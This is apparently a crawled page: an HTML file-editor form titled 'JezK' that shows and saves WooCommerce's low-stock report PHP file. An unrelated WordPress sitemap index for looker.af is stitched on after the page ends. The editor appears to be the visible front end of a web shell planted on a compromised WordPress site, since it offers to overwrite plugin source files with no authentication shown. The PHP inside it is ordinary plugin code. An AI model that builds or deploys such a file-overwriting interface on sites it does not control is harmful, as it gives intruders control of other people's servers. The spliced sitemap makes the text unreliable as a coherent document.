
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-wc-report-low-in-stock.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * WC_Report_Low_In_Stock.
 *
 * @package WooCommerce\Admin\Reports
 */

defined( &#039;ABSPATH&#039; ) || exit;

if ( ! class_exists( &#039;WC_Report_Stock&#039; ) ) {
	require_once dirname( __FILE__ ) . &#039;/class-wc-report-stock.php&#039;;
}

/**
 * Low stock report class.
 */
class WC_Report_Low_In_Stock extends WC_Report_Stock {

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( &#039;No low in stock products found.&#039;, &#039;woocommerce&#039; );
	}

	/**
	 * Get Products matching stock criteria.
	 *
	 * @param int $current_page Current page number.
	 * @param int $per_page How many results to show per page.
	 */
	public function get_items( $current_page, $per_page ) {
		global $wpdb;

		$this-&gt;max_items = 0;
		$this-&gt;items     = array();

		$stock   = absint( max( get_option( &#039;woocommerce_notify_low_stock_amount&#039; ), 1 ) );
		$nostock = absint( max( get_option( &#039;woocommerce_notify_no_stock_amount&#039; ), 0 ) );

		$query_from = apply_filters(
			&#039;woocommerce_report_low_in_stock_query_from&#039;,
			$wpdb-&gt;prepare(
				&quot;
				FROM {$wpdb-&gt;posts} as posts
				INNER JOIN {$wpdb-&gt;wc_product_meta_lookup} AS lookup ON posts.ID = lookup.product_id
				WHERE 1=1
				AND posts.post_type IN ( &#039;product&#039;, &#039;product_variation&#039; )
				AND posts.post_status = &#039;publish&#039;
				AND lookup.stock_quantity &lt;= %d
				AND lookup.stock_quantity &gt; %d
				&quot;,
				$stock,
				$nostock
			)
		);

		$this-&gt;items     = $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT SQL_CALC_FOUND_ROWS posts.ID as id, posts.post_parent as parent {$query_from} ORDER BY posts.post_title DESC LIMIT %d, %d;&quot;, ( $current_page - 1 ) * $per_page, $per_page ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
		$this-&gt;max_items = $wpdb-&gt;get_var( &#039;SELECT FOUND_ROWS();&#039; ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
